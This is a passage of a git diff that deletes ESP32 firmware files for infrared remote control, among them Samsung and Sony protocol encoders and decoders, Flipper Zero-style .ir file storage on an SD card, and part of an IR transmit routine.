.signal_range_min_ns = 1250, - .signal_range_max_ns = 12000000, - }; - - esp_err_t ret = rmt_receive(ctx->rx_channel, raw_symbols, sizeof(raw_symbols), &receive_config); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to start receive: %s", esp_err_to_name(ret)); - } else { - ESP_LOGD(TAG, "Started IR receive operation"); - } -} - -bool ir_rx_wait_for_data(ir_context_t *ctx, rmt_rx_done_event_data_t *rx_data, uint32_t timeout_ms) -{ - if (!ctx || !ctx->receive_queue || !rx_data) { - ESP_LOGE(TAG, "Invalid parameters"); - return false; - } - - //Protocols - - - - if (xQueueReceive(ctx->receive_queue, rx_data, pdMS_TO_TICKS(timeout_ms)) == pdPASS) { - ESP_LOGI(TAG, "Received IR data: %d symbols", rx_data->num_symbols); - return true; - } - - return false; // timeout -} - -//FUNÇÃO PRINCIPAL -bool ir_receive(const char* filename, uint32_t timeout_ms) { - - if (!filename) { - ESP_LOGE(TAG, "Nome do arquivo inválido"); - return false; - } - - ir_context_t ir_ctx = {0}; - - esp_err_t ret = ir_rx_init(&ir_ctx); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to initialize RX: %s", esp_err_to_name(ret)); - return false; - } - - ESP_LOGI(TAG, "Aguardando sinal IR... (timeout: %lu ms)", timeout_ms); - - ir_rx_start_receive(&ir_ctx); - rmt_rx_done_event_data_t rx_data; - bool success = false; - - if (ir_rx_wait_for_data(&ir_ctx, &rx_data, timeout_ms)) { - parse_nec_frame(rx_data.received_symbols, rx_data.num_symbols, filename); - success = true; - } else { - ESP_LOGW(TAG, "Timeout - nenhum sinal recebido"); - } - - // Desalocar canal RX - ir_rx_deinit(&ir_ctx); - - return success; -} diff --git a/firmware_c5/components/Service/ir/ir_samsung_tv.c b/firmware_c5/components/Service/ir/ir_samsung_tv.c deleted file mode 100644 index 8cdb0a44..00000000 --- a/firmware_c5/components/Service/ir/ir_samsung_tv.c +++ /dev/null @@ -1,465 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "ir_samsung_tv.h" -#include "esp_log.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "freertos/queue.h" -#include -#include - -static const char *TAG = "IR_SAMSUNG"; - -// Handles globais -static rmt_channel_handle_t tx_channel = NULL; -static rmt_channel_handle_t rx_channel = NULL; -static rmt_encoder_handle_t ir_encoder = NULL; // MUDANÇA: encoder com portadora - -// Fila de eventos RX -static QueueHandle_t rx_queue = NULL; - -// Buffer estático para RX contínuo -static rmt_symbol_word_t s_rx_cont_buf[512]; - -// --- NOVO: Encoder IR com portadora de 38kHz --- -typedef struct { - rmt_encoder_t base; - rmt_encoder_t *copy_encoder; - rmt_encoder_t *bytes_encoder; - rmt_symbol_word_t samsung_header; - rmt_symbol_word_t samsung_bit_one; - rmt_symbol_word_t samsung_bit_zero; - rmt_symbol_word_t samsung_end; - int state; -} rmt_ir_samsung_encoder_t; - -static size_t rmt_encode_ir_samsung(rmt_encoder_t *encoder, rmt_channel_handle_t channel, - const void *primary_data, size_t data_size, - rmt_encode_state_t *ret_state) -{ - rmt_ir_samsung_encoder_t *samsung_encoder = __containerof(encoder, rmt_ir_samsung_encoder_t, base); - rmt_encode_state_t session_state = RMT_ENCODING_RESET; - rmt_encode_state_t state = RMT_ENCODING_RESET; - size_t encoded_symbols = 0; - rmt_encoder_handle_t copy_encoder = samsung_encoder->copy_encoder; - rmt_encoder_handle_t bytes_encoder = samsung_encoder->bytes_encoder; - - uint32_t *data = (uint32_t *)primary_data; - - switch (samsung_encoder->state) { - case 0: // Header - encoded_symbols += copy_encoder->encode(copy_encoder, channel, - &samsung_encoder->samsung_header, - sizeof(rmt_symbol_word_t), &session_state); - if (session_state & RMT_ENCODING_COMPLETE) { - samsung_encoder->state = 1; - } - if (session_state & RMT_ENCODING_MEM_FULL) { - state |= RMT_ENCODING_MEM_FULL; - goto out; - } - case 1: // 32 bits de dados - encoded_symbols += bytes_encoder->encode(bytes_encoder, channel, data, 4, &session_state); - if (session_state & RMT_ENCODING_COMPLETE) { - samsung_encoder->state = 2; - } - if (session_state & RMT_ENCODING_MEM_FULL) { - state |= RMT_ENCODING_MEM_FULL; - goto out; - } - case 2: // End bit - encoded_symbols += copy_encoder->encode(copy_encoder, channel, - &samsung_encoder->samsung_end, - sizeof(rmt_symbol_word_t), &session_state); - if (session_state & RMT_ENCODING_COMPLETE) { - samsung_encoder->state = RMT_ENCODING_RESET; - state |= RMT_ENCODING_COMPLETE; - } - if (session_state & RMT_ENCODING_MEM_FULL) { - state |= RMT_ENCODING_MEM_FULL; - goto out; - } - } -out: - *ret_state = state; - return encoded_symbols; -} - -static esp_err_t rmt_del_ir_samsung_encoder(rmt_encoder_t *encoder) -{ - rmt_ir_samsung_encoder_t *samsung_encoder = __containerof(encoder, rmt_ir_samsung_encoder_t, base); - rmt_del_encoder(samsung_encoder->copy_encoder); - rmt_del_encoder(samsung_encoder->bytes_encoder); - free(samsung_encoder); - return ESP_OK; -} - -static esp_err_t rmt_ir_samsung_encoder_reset(rmt_encoder_t *encoder) -{ - rmt_ir_samsung_encoder_t *samsung_encoder = __containerof(encoder, rmt_ir_samsung_encoder_t, base); - rmt_encoder_reset(samsung_encoder->copy_encoder); - rmt_encoder_reset(samsung_encoder->bytes_encoder); - samsung_encoder->state = RMT_ENCODING_RESET; - return ESP_OK; -} - -static esp_err_t rmt_new_ir_samsung_encoder(rmt_encoder_handle_t *ret_encoder) -{ - esp_err_t ret = ESP_OK; - rmt_ir_samsung_encoder_t *samsung_encoder = calloc(1, sizeof(rmt_ir_samsung_encoder_t)); - if (!samsung_encoder) return ESP_ERR_NO_MEM; - - samsung_encoder->base.encode = rmt_encode_ir_samsung; - samsung_encoder->base.del = rmt_del_ir_samsung_encoder; - samsung_encoder->base.reset = rmt_ir_samsung_encoder_reset; - - // Copy encoder - rmt_copy_encoder_config_t copy_config = {}; - ret = rmt_new_copy_encoder(©_config, &samsung_encoder->copy_encoder); - if (ret != ESP_OK) goto err; - - // Bytes encoder com portadora de 38kHz - rmt_bytes_encoder_config_t bytes_config = { - .bit0 = { - .duration0 = SAMSUNG_BIT_ZERO_HIGH_US, - .level0 = 1, - .duration1 = SAMSUNG_BIT_ZERO_LOW_US, - .level1 = 0, - }, - .bit1 = { - .duration0 = SAMSUNG_BIT_ONE_HIGH_US, - .level0 = 1, - .duration1 = SAMSUNG_BIT_ONE_LOW_US, - .level1 = 0, - }, - .flags.msb_first = 1 // MSB primeiro - }; - ret = rmt_new_bytes_encoder(&bytes_config, &samsung_encoder->bytes_encoder); - if (ret != ESP_OK) goto err; - - // Símbolos Samsung - samsung_encoder->samsung_header = (rmt_symbol_word_t){ - .duration0 = SAMSUNG_HEADER_HIGH_US, - .level0 = 1, - .duration1 = SAMSUNG_HEADER_LOW_US, - .level1 = 0, - }; - samsung_encoder->samsung_end = (rmt_symbol_word_t){ - .duration0 = SAMSUNG_END_HIGH_US, - .level0 = 1, - .duration1 = 0, - .level1 = 0, - }; - - *ret_encoder = &samsung_encoder->base; - return ESP_OK; - -err: - if (samsung_encoder->copy_encoder) rmt_del_encoder(samsung_encoder->copy_encoder); - if (samsung_encoder->bytes_encoder) rmt_del_encoder(samsung_encoder->bytes_encoder); - free(samsung_encoder); - return ret; -} - -// --- Callback RX --- -static bool rx_done_isr_cb(rmt_channel_handle_t channel, - const rmt_rx_done_event_data_t *edata, - void *user_ctx) -{ - BaseType_t hpw = pdFALSE; - QueueHandle_t q = (QueueHandle_t)user_ctx; - xQueueSendFromISR(q, edata, &hpw); - return hpw == pdTRUE; -} - -esp_err_t ir_samsung_init(gpio_num_t tx_gpio, gpio_num_t rx_gpio, bool invert_rx) -{ - // Fila de RX - if (!rx_queue) { - rx_queue = xQueueCreate(8, sizeof(rmt_rx_done_event_data_t)); - if (!rx_queue) { - ESP_LOGE(TAG, "xQueueCreate failed"); - return ESP_ERR_NO_MEM; - } - } - - // --- TX channel com PORTADORA 38kHz --- - if (!tx_channel) { - rmt_tx_channel_config_t tx_cfg = { - .gpio_num = tx_gpio, - .clk_src = RMT_CLK_SRC_DEFAULT, - .resolution_hz = 1000000, // 1MHz = 1us - .mem_block_symbols = 64, - .trans_queue_depth = 4, - .intr_priority = 0, - .flags.invert_out = false, - .flags.with_dma = false, - }; - esp_err_t err = rmt_new_tx_channel(&tx_cfg, &tx_channel); - if (err != ESP_OK) { - ESP_LOGE(TAG, "new tx: %s", esp_err_to_name(err)); - return err; - } - - // CRÍTICO: Configura portadora de 38kHz - rmt_carrier_config_t carrier_cfg = { - .frequency_hz = 38000, // 38kHz - .duty_cycle = 0.33, // 33% duty cycle - .flags.polarity_active_low = false, - }; - err = rmt_apply_carrier(tx_channel, &carrier_cfg); - if (err != ESP_OK) { - ESP_LOGE(TAG, "carrier config: %s", esp_err_to_name(err)); - return err; - } - - err = rmt_enable(tx_channel); - if (err != ESP_OK) { - ESP_LOGE(TAG, "enable tx: %s", esp_err_to_name(err)); - return err; - } - - // Cria encoder Samsung customizado - err = rmt_new_ir_samsung_encoder(&ir_encoder); - if (err != ESP_OK) { - ESP_LOGE(TAG, "samsung encoder: %s", esp_err_to_name(err)); - return err; - } - } - - // --- RX channel --- - if (!rx_channel) { - rmt_rx_channel_config_t rx_cfg = { - .gpio_num = rx_gpio, - .clk_src = RMT_CLK_SRC_DEFAULT, - .resolution_hz = 1000000, - .mem_block_symbols = 128, - .intr_priority = 0, - .flags.invert_in = invert_rx, - .flags.with_dma = false, - }; - esp_err_t err = rmt_new_rx_channel(&rx_cfg, &rx_channel); - if (err != ESP_OK) { - ESP_LOGE(TAG, "new rx: %s", esp_err_to_name(err)); - return err; - } - - rmt_rx_event_callbacks_t cbs = {.on_recv_done = rx_done_isr_cb}; - err = rmt_rx_register_event_callbacks(rx_channel, &cbs, rx_queue); - if (err != ESP_OK) { - ESP_LOGE(TAG, "rx cb: %s", esp_err_to_name(err)); - return err; - } - - err = rmt_enable(rx_channel); - if (err != ESP_OK) { - ESP_LOGE(TAG, "enable rx: %s", esp_err_to_name(err)); - return err; - } - } - - ESP_LOGI(TAG, "Samsung IR initialized - TX: GPIO%d (38kHz carrier), RX: GPIO%d", - tx_gpio, rx_gpio); - return ESP_OK; -} - -esp_err_t ir_samsung_send(uint32_t data) -{ - if (!tx_channel || !ir_encoder) { - ESP_LOGE(TAG, "not init"); - return ESP_ERR_INVALID_STATE; - } - - // Inverte os bytes para enviar MSB primeiro - uint32_t data_swapped = __builtin_bswap32(data); - - rmt_transmit_config_t txcfg = { - .loop_count = 0, - .flags.eot_level = 0, - }; - - esp_err_t err = rmt_transmit(tx_channel, ir_encoder, &data_swapped, 4, &txcfg); - if (err != ESP_OK) { - ESP_LOGE(TAG, "tx: %s", esp_err_to_name(err)); - return err; - } - - err = rmt_tx_wait_all_done(tx_channel, 1000); - if (err != ESP_OK) { - ESP_LOGE(TAG, "tx wait: %s", esp_err_to_name(err)); - return err; - } - - ESP_LOGI(TAG, "Sent Samsung: 0x%08" PRIX32, data); - return ESP_OK; -} - -// --- Decodificação Samsung --- -static bool decode_samsung32(const rmt_symbol_word_t *sym, int count, samsung_ir_data_t *out) -{ - int idx = -1; - for (int i = 0; i < count && i < 4; i++) { - int h = sym[i].duration0; - int l = sym[i].duration1; - if (h > 3500 && h < 5500 && l > 3500 && l < 5500) { - idx = i; - break; - } - } - if (idx < 0) return false; - - if ((count - (idx + 1)) < 32) return false; - - uint32_t bits = 0; - for (int b = 0; b < 32; b++) { - const rmt_symbol_word_t s = sym[idx + 1 + b]; - int total = s.duration0 + s.duration1; - bits <<= 1; - bits |= (total > 1500) ? 1U : 0U; - } - - out->raw_data = bits; - out->address = (bits >> 16) & 0xFFFF; - out->command = bits & 0xFFFF; - return true; -} - -esp_err_t ir_samsung_receive(samsung_ir_data_t* out, uint32_t timeout_ms) -{ - if (!rx_channel || !rx_queue || !out) { - ESP_LOGE(TAG, "not init/args"); - return ESP_ERR_INVALID_STATE; - } - - rmt_symbol_word_t stack_buf[200]; - rmt_receive_config_t rxcfg = { - .signal_range_min_ns = 1250, - .signal_range_max_ns = 12000000, - }; - - esp_err_t err = rmt_receive(rx_channel, stack_buf, sizeof(stack_buf), &rxcfg); - if (err == ESP_ERR_INVALID_STATE) { - ESP_LOGW(TAG, "RX not enabled, enabling..."); - err = rmt_enable(rx_channel); - if (err != ESP_OK) { - ESP_LOGE(TAG, "enable rx: %s", esp_err_to_name(err)); - return err; - } - err = rmt_receive(rx_channel, stack_buf, sizeof(stack_buf), &rxcfg); - } - if (err != ESP_OK) { - ESP_LOGE(TAG, "rmt_receive: %s", esp_err_to_name(err)); - return err; - } - - rmt_rx_done_event_data_t ev; - if (xQueueReceive(rx_queue, &ev, pdMS_TO_TICKS(timeout_ms)) != pdTRUE) { - ESP_LOGW(TAG, "Receive timeout"); - return ESP_ERR_TIMEOUT; - } - - if (ev.num_symbols < 34) { - ESP_LOGW(TAG, "Few symbols: %d", ev.num_symbols); - return ESP_ERR_INVALID_SIZE; - } - - if (!decode_samsung32(ev.received_symbols, ev.num_symbols, out)) { - ESP_LOGW(TAG, "Decode failed"); - return ESP_FAIL; - } - - ESP_LOGI(TAG, "RX OK: raw=0x%08" PRIX32 " addr=0x%04" PRIX32 " cmd=0x%04" PRIX32, - out->raw_data, (uint32_t)out->address, (uint32_t)out->command); - return ESP_OK; -} - -esp_err_t ir_samsung_start_continuous_receive(void) -{ - if (!rx_channel || !rx_queue) return ESP_ERR_INVALID_STATE; - - rmt_receive_config_t rxcfg = { - .signal_range_min_ns = 1250, - .signal_range_max_ns = 12000000, - }; - - esp_err_t err = rmt_receive(rx_channel, s_rx_cont_buf, sizeof(s_rx_cont_buf), &rxcfg); - if (err == ESP_ERR_INVALID_STATE) { - err = rmt_enable(rx_channel); - if (err != ESP_OK) { - ESP_LOGE(TAG, "enable rx: %s", esp_err_to_name(err)); - return err; - } - err = rmt_receive(rx_channel, s_rx_cont_buf, sizeof(s_rx_cont_buf), &rxcfg); - } - if (err != ESP_OK) { - ESP_LOGE(TAG, "rmt_receive(cont): %s", esp_err_to_name(err)); - } - return err; -} - -esp_err_t ir_samsung_poll_last(samsung_ir_data_t* out, uint32_t timeout_ms) -{ - if (!rx_channel || !rx_queue || !out) return ESP_ERR_INVALID_STATE; - - rmt_rx_done_event_data_t ev; - if (xQueueReceive(rx_queue, &ev, pdMS_TO_TICKS(timeout_ms)) != pdTRUE) { - return ESP_ERR_TIMEOUT; - } - - rmt_receive_config_t rxcfg = { - .signal_range_min_ns = 1250, - .signal_range_max_ns = 12000000, - }; - esp_err_t err = rmt_receive(rx_channel, s_rx_cont_buf, sizeof(s_rx_cont_buf), &rxcfg); - if (err == ESP_ERR_INVALID_STATE) { - err = rmt_enable(rx_channel); - if (err == ESP_OK) { - err = rmt_receive(rx_channel, s_rx_cont_buf, sizeof(s_rx_cont_buf), &rxcfg); - } - } - if (err != ESP_OK) { - ESP_LOGE(TAG, "re-arm failed: %s", esp_err_to_name(err)); - } - - if (!decode_samsung32(ev.received_symbols, ev.num_symbols, out)) { - return ESP_FAIL; - } - return ESP_OK; -} - -void ir_samsung_deinit(void) -{ - if (ir_encoder) { - rmt_del_encoder(ir_encoder); - ir_encoder = NULL; - } - - if (tx_channel) { - rmt_disable(tx_channel); - rmt_del_channel(tx_channel); - tx_channel = NULL; - } - if (rx_channel) { - rmt_disable(rx_channel); - rmt_del_channel(rx_channel); - rx_channel = NULL; - } - if (rx_queue) { - vQueueDelete(rx_queue); - rx_queue = NULL; - } - ESP_LOGI(TAG, "Samsung IR deinitialized"); -} diff --git a/firmware_c5/components/Service/ir/ir_sony.c b/firmware_c5/components/Service/ir/ir_sony.c deleted file mode 100644 index 9dcd2b80..00000000 --- a/firmware_c5/components/Service/ir/ir_sony.c +++ /dev/null @@ -1,208 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "ir_sony.h" -#include "esp_log.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "esp_timer.h" - -static const char *TAG = "IR_SONY"; - -// Global configuration -static ir_sony_config_t g_config; -static bool g_initialized = false; - -/** - * @brief Generate carrier wave (mark) - */ -static void ir_mark(uint32_t duration_us) { - ledc_set_duty(LEDC_LOW_SPEED_MODE, g_config.ledc_channel, - (1 << LEDC_TIMER_10_BIT) * SONY_DUTY_CYCLE / 100); - ledc_update_duty(LEDC_LOW_SPEED_MODE, g_config.ledc_channel); - esp_rom_delay_us(duration_us); -} - -/** - * @brief Generate space (no carrier) - */ -static void ir_space(uint32_t duration_us) { - ledc_set_duty(LEDC_LOW_SPEED_MODE, g_config.ledc_channel, 0); - ledc_update_duty(LEDC_LOW_SPEED_MODE, g_config.ledc_channel); - esp_rom_delay_us(duration_us); -} - -/** - * @brief Send a single bit using pulse width encoding - * Sony uses pulse WIDTH encoding (not pulse distance): - * - Logical '1': 1200us mark + 600us space - * - Logical '0': 600us mark + 600us space - */ -static void send_bit(bool bit) { - if (bit) { - // Logical 1: long mark (2x UNIT) - ir_mark(SONY_ONE_MARK); - } else { - // Logical 0: short mark (1x UNIT) - ir_mark(SONY_ZERO_MARK); - } - // Space is always the same - ir_space(SONY_SPACE); -} - -esp_err_t ir_sony_init(const ir_sony_config_t *config) { - if (config == NULL) { - ESP_LOGE(TAG, "Config is NULL"); - return ESP_ERR_INVALID_ARG; - } - - g_config = *config; - - // Configure LEDC timer - ledc_timer_config_t ledc_timer = { - .speed_mode = LEDC_LOW_SPEED_MODE, - .timer_num = g_config.ledc_timer, - .duty_resolution = LEDC_TIMER_10_BIT, - .freq_hz = SONY_CARRIER_FREQ, - .clk_cfg = LEDC_AUTO_CLK - }; - - esp_err_t ret = ledc_timer_config(&ledc_timer); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to configure LEDC timer: %s", esp_err_to_name(ret)); - return ret; - } - - // Configure LEDC channel - ledc_channel_config_t ledc_channel = { - .speed_mode = LEDC_LOW_SPEED_MODE, - .channel = g_config.ledc_channel, - .timer_sel = g_config.ledc_timer, - .intr_type = LEDC_INTR_DISABLE, - .gpio_num = g_config.gpio_num, - .duty = 0, - .hpoint = 0 - }; - - ret = ledc_channel_config(&ledc_channel); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to configure LEDC channel: %s", esp_err_to_name(ret)); - return ret; - } - - g_initialized = true; - ESP_LOGI(TAG, "Sony SIRCS initialized on GPIO %d", g_config.gpio_num); - - return ESP_OK; -} - -esp_err_t ir_sony_send(uint16_t address, uint8_t command, uint8_t bits) { - if (!g_initialized) { - ESP_LOGE(TAG, "Sony not initialized"); - return ESP_ERR_INVALID_STATE; - } - - // Validate bit count - if (bits != SONY_BITS_12 && bits != SONY_BITS_15 && bits != SONY_BITS_20) { - ESP_LOGE(TAG, "Invalid bit count: %d (must be 12, 15, or 20)", bits); - return ESP_ERR_INVALID_ARG; - } - - // Validate command (7 bits) - if (command > 0x7F) { - ESP_LOGE(TAG, "Command must be 0-127 (7 bits)"); - return ESP_ERR_INVALID_ARG; - } - - // Build data frame (LSB first) - // Format: 7 command bits + address bits (5, 8, or 13 bits) - uint32_t data = ((uint32_t)address << 7) | (command & 0x7F); - - ESP_LOGI(TAG, "Sending Sony-%d: Addr=0x%X Cmd=0x%02X Data=0x%05lX", - bits, address, command, data); - - // Disable interrupts for accurate timing - portDISABLE_INTERRUPTS(); - - // Send header (start bit) - ir_mark(SONY_HEADER_MARK); - ir_space(SONY_SPACE); - - // Send data bits (LSB first) - for (uint8_t i = 0; i < bits; i++) { - bool bit = (data >> i) & 1; - send_bit(bit); - } - - // No stop bit in Sony protocol! - - portENABLE_INTERRUPTS(); - - ESP_LOGD(TAG, "Sony transmission complete"); - - return ESP_OK; -} - -esp_err_t ir_sony_send_12(uint8_t address, uint8_t command) { - // Validate address (5 bits for Sony-12) - if (address > 0x1F) { - ESP_LOGE(TAG, "Sony-12 address must be 0-31 (5 bits)"); - return ESP_ERR_INVALID_ARG; - } - - return ir_sony_send(address, command, SONY_BITS_12); -} - -esp_err_t ir_sony_send_15(uint8_t address, uint8_t command) { - // Address is 8 bits for Sony-15 - return ir_sony_send(address, command, SONY_BITS_15); -} - -esp_err_t ir_sony_send_20(uint8_t device, uint8_t extended, uint8_t command) { - // Validate device (5 bits) - if (device > 0x1F) { - ESP_LOGE(TAG, "Sony-20 device must be 0-31 (5 bits)"); - return ESP_ERR_INVALID_ARG; - } - - // Build 13-bit address: 8-bit extended + 5-bit device - uint16_t address = ((uint16_t)extended << 5) | device; - - return ir_sony_send(address, command, SONY_BITS_20); -} - -esp_err_t ir_sony_send_repeat(uint16_t address, uint8_t command, uint8_t bits, uint8_t repeats) { - esp_err_t ret; - - // Send first frame - ret = ir_sony_send(address, command, bits); - if (ret != ESP_OK) { - return ret; - } - - // Send repeats - for (uint8_t i = 0; i < repeats; i++) { - // Calculate time elapsed and wait for repeat period - // Sony repeats every 45ms from start to start - vTaskDelay(pdMS_TO_TICKS(45)); - - ret = ir_sony_send(address, command, bits); - if (ret != ESP_OK) { - return ret; - } - } - - return ESP_OK; -} diff --git a/firmware_c5/components/Service/ir/ir_storage.c b/firmware_c5/components/Service/ir/ir_storage.c deleted file mode 100644 index c5d87af4..00000000 --- a/firmware_c5/components/Service/ir/ir_storage.c +++ /dev/null @@ -1,150 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "ir_storage.h" -#include -#include -#include "esp_log.h" - -static const char *TAG = "IR_STORAGE"; - -bool ir_save(const char* protocol, uint32_t command, uint32_t address, const char* filename) { - return ir_save_ex(protocol, command, address, 0xFF, filename); -} - -bool ir_save_ex(const char* protocol, uint32_t command, uint32_t address, uint8_t toggle, const char* filename) { - return ir_save_full(protocol, command, address, toggle, 0xFF, filename); -} - -bool ir_save_full(const char* protocol, uint32_t command, uint32_t address, - uint8_t toggle, uint8_t bits, const char* filename) { - if (!protocol || !filename) { - ESP_LOGE(TAG, "Parâmetros inválidos"); - return false; - } - - char filepath[256]; - snprintf(filepath, sizeof(filepath), "/sdcard/%s.ir", filename); - - FILE* f = fopen(filepath, "w"); - if (!f) { - ESP_LOGE(TAG, "Falha ao criar arquivo: %s", filepath); - return false; - } - - // Header padrão Flipper Zero - fprintf(f, "Filetype: IR signals file\n"); - fprintf(f, "Version: 1\n"); - fprintf(f, "#\n"); - fprintf(f, "name: %s\n", filename); - fprintf(f, "type: parsed\n"); - fprintf(f, "protocol: %s\n", protocol); - fprintf(f, "address: %08lX\n", address); - fprintf(f, "command: %08lX\n", command); - - // Adiciona toggle apenas se for válido (para RC6 e RC5) - if (toggle != 0xFF) { - fprintf(f, "toggle: %02X\n", toggle); - } - - // Adiciona bits apenas se for válido (para Sony) - if (bits != 0xFF) { - fprintf(f, "bits: %d\n", bits); - } - - fclose(f); - - // Log informativo - if (toggle != 0xFF && bits != 0xFF) { - ESP_LOGI(TAG, "Código IR salvo: %s -> %s (0x%08lX, 0x%08lX, toggle=%d, bits=%d)", - filename, protocol, address, command, toggle, bits); - } else if (toggle != 0xFF) { - ESP_LOGI(TAG, "Código IR salvo: %s -> %s (0x%08lX, 0x%08lX, toggle=%d)", - filename, protocol, address, command, toggle); - } else if (bits != 0xFF) { - ESP_LOGI(TAG, "Código IR salvo: %s -> %s (0x%08lX, 0x%08lX, bits=%d)", - filename, protocol, address, command, bits); - } else { - ESP_LOGI(TAG, "Código IR salvo: %s -> %s (0x%08lX, 0x%08lX)", - filename, protocol, address, command); - } - - return true; -} - -bool ir_load(const char* filename, ir_code_t* code) { - if (!filename || !code) { - ESP_LOGE(TAG, "Parâmetros inválidos"); - return false; - } - - char filepath[256]; - snprintf(filepath, sizeof(filepath), "/sdcard/%s.ir", filename); - - FILE* f = fopen(filepath, "r"); - if (!f) { - ESP_LOGE(TAG, "Falha ao abrir arquivo: %s", filepath); - return false; - } - - char line[256]; - memset(code, 0, sizeof(ir_code_t)); - code->toggle = 0xFF; // Valor padrão (não presente/auto) - code->bits = 0xFF; // Valor padrão (não presente) - - while (fgets(line, sizeof(line), f)) { - // Remove newline - line[strcspn(line, "\r\n")] = 0; - - if (strncmp(line, "protocol:", 9) == 0) { - sscanf(line, "protocol: %31s", code->protocol); - } - else if (strncmp(line, "address:", 8) == 0) { - sscanf(line, "address: %lX", &code->address); - } - else if (strncmp(line, "command:", 8) == 0) { - sscanf(line, "command: %lX", &code->command); - } - else if (strncmp(line, "toggle:", 7) == 0) { - unsigned int toggle_val; - sscanf(line, "toggle: %X", &toggle_val); - code->toggle = (uint8_t)toggle_val; - } - else if (strncmp(line, "bits:", 5) == 0) { - unsigned int bits_val; - sscanf(line, "bits: %u", &bits_val); - code->bits = (uint8_t)bits_val; - } - } - - fclose(f); - - // Log informativo - if (code->toggle != 0xFF && code->bits != 0xFF) { - ESP_LOGI(TAG, "Código IR carregado: %s -> %s (0x%08lX, 0x%08lX, toggle=%d, bits=%d)", - filename, code->protocol, code->address, code->command, code->toggle, code->bits); - } else if (code->toggle != 0xFF) { - ESP_LOGI(TAG, "Código IR carregado: %s -> %s (0x%08lX, 0x%08lX, toggle=%d)", - filename, code->protocol, code->address, code->command, code->toggle); - } else if (code->bits != 0xFF) { - ESP_LOGI(TAG, "Código IR carregado: %s -> %s (0x%08lX, 0x%08lX, bits=%d)", - filename, code->protocol, code->address, code->command, code->bits); - } else { - ESP_LOGI(TAG, "Código IR carregado: %s -> %s (0x%08lX, 0x%08lX)", - filename, code->protocol, code->address, code->command); - } - - return true; -} diff --git a/firmware_c5/components/Service/ir/ir_tx.c b/firmware_c5/components/Service/ir/ir_tx.c deleted file mode 100644 index c398f5dd..00000000 --- a/firmware_c5/components/Service/ir/ir_tx.c +++ /dev/null @@ -1,265 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "ir_common.h" -#include "ir_storage.h" -#include "protocol_nec.h" -#include "protocol_rc6.h" - -#include - -static const char *TAG = "ir_tx"; - -// Estado global do toggle para RC6 -static uint8_t g_rc6_toggle_state = 0; - -bool ir_tx_send_from_file(const char* filename) { - ESP_LOGI(TAG, "=== INÍCIO ir_tx_send_from_file ==="); - ESP_LOGI(TAG, "Filename: %s", filename); - - ir_context_t ir_ctx = {0}; - - // Carrega o código do arquivo primeiro para saber o protocolo - ir_code_t ir_code; - ESP_LOGI(TAG, "Carregando arquivo..."); - if (!ir_load(filename, &ir_code)) { - ESP_LOGE(TAG, "❌ Falha ao carregar código do arquivo: %s", filename); - return false; - } - - ESP_LOGI(TAG, "✅ Arquivo carregado:"); - ESP_LOGI(TAG, " Protocol: %s", ir_code.protocol); - ESP_LOGI(TAG, " Address: 0x%08lX", ir_code.address); - ESP_LOGI(TAG, " Command: 0x%08lX", ir_code.command); - ESP_LOGI(TAG, " Toggle: %d (0xFF=auto)", ir_code.toggle); - - // Inicializa TX - ESP_LOGI(TAG, "Inicializando TX..."); - esp_err_t ret = ir_tx_init(&ir_ctx); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "❌ Failed to initialize TX: %s", esp_err_to_name(ret)); - return false; - } - ESP_LOGI(TAG, "✅ TX inicializado"); - - // Cria encoder apropriado baseado no protocolo - ir_encoder_config_t enc_cfg = {0}; - - ESP_LOGI(TAG, "Identificando protocolo: %s", ir_code.protocol); - - if (strcmp(ir_code.protocol, "NEC") == 0) { - ESP_LOGI(TAG, "Configurando encoder NEC"); - enc_cfg.protocol = IR_PROTOCOL_NEC; - enc_cfg.config.nec.resolution = EXAMPLE_IR_RESOLUTION_HZ; - } - else if (strcmp(ir_code.protocol, "RC6") == 0) { - ESP_LOGI(TAG, "Configurando encoder RC6"); - enc_cfg.protocol = IR_PROTOCOL_RC6; - enc_cfg.config.rc6.resolution = EXAMPLE_IR_RESOLUTION_HZ; - } - else { - ESP_LOGE(TAG, "❌ Protocolo não suportado: %s", ir_code.protocol); - ir_tx_deinit(&ir_ctx); - return false; - } - - ESP_LOGI(TAG, "Criando encoder (protocol=%d)...", enc_cfg.protocol); - ret = rmt_new_ir_encoder(&enc_cfg, &ir_ctx.encoder); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "❌ Failed to create encoder: %s", 